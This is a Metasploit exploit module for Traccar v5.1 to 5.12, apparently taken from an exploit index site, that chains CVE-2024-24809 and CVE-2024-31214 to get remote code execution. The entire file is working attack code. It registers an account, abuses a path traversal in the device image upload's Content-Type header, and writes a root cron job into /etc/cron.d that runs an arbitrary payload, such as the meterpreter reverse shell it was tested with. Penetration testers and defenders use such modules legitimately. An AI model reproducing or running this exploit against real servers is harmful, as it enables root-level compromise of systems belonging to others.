Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-TRACCAR_RCE_UPLOAD-
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
        'Description' => %q{
          Remote Code Execution in Traccar v5.1 - v5.12.
          Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
          By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
          This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF Module
          'yiliufeng168', # Discovery CVE-2024-24809 and PoC
          'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
        ],
        'References' => [
          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
          [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
          [ 'CVE', '2024-31214'],
          [ 'CVE', '2024-24809']
        ],
        'DisclosureDate' => '2024-08-23',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => [ 'linux' ],
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
              'Type' => :unix_cmd
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x27" # apostrophe (')
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 75
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8082),
        OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
        OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
        OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
        OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/server')
    })

    return CheckCode::Unknown unless res && res.code == 200

    data = res.get_json_document
    version = data['version']
    if version.nil?
      return CheckCode::Unknown
    else
      vprint_status('Version retrieved: ' + version)
    end

    unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
      return CheckCode::Safe
    end

    return CheckCode::Appears
  end

  def exploit
    prepare_setup
    execute_command(payload.encoded)
  end

  def prepare_setup
    print_status('Registering new user...')
    body = {
      name: datastore['USERNAME'],
      email: datastore['EMAIL'],
      password: datastore['PASSWORD'],
      totpKey: nil
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/users'),
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    auth_status = false

    # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
    # to run into when this module is executed more than once without updating the provided email address
    if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
      print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
      res = send_request_cgi(
        'method' => 'POST',
        'keep_cookies' => true,
        'uri' => normalize_uri(target_uri.path, 'api/session'),
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => {
          'email' => datastore['EMAIL'],
          'password' => datastore['PASSWORD']
        }
      )

      unless res
        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
      end

      json = res.get_json_document
      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
        print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
        fail_with(Failure::UnexpectedReply, res.to_s)
      end

      auth_status = true

    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    json = res.get_json_document

    unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
    end

    if auth_status == false
      print_status('Authenticating...')
      res = send_request_cgi(
        'method' => 'POST',
        'keep_cookies' => true,
        'uri' => normalize_uri(target_uri.path, 'api/session'),
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => {
          'email' => datastore['EMAIL'],
          'password' => datastore['PASSWORD']
        }
      )

      unless res
        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
      end

      json = res.get_json_document
      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
        fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
      end
    end
  end

  def execute_command(cmd)
    name_v = Rex::Text.rand_text_alphanumeric(16)
    unique_id_v = Rex::Text.rand_text_alphanumeric(16)

    body = {
      name: name_v,
      uniqueId: unique_id_v
    }.to_json

    print_status('Adding new device...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/devices'),
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    json = res.get_json_document

    unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
    end

    id = json['id'].to_s
    body = Rex::Text.rand_text_alphanumeric(1..4)
    fn = Rex::Text.rand_text_alpha(1..2)

    print_status('Uploading crontab file...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
      'keep_cookies' => true,
      'ctype' => 'image/png',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.to_s.include?('device.png')
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
      'keep_cookies' => true,
      'ctype' => "image/png;#{fn}=\"/b\"",
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    body = "* * * * * root /bin/bash -c '#{cmd}'\n"
    cronfn = SecureRandom.hex(12)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
      'keep_cookies' => true,
      'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
      'data' => body
    )

    register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    vprint_status('Cleanup: Deleting previously added device...')
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
      'headers' => {
        'Connection' => 'close'
      }
    )

    unless res
      print_bad('Failed to receive a reply from the server, device removal might have failed.')
    end

    unless res.code == 204
      print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
    end

    # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
    print_status('Cronjob successfully written - waiting for execution...')
  end
end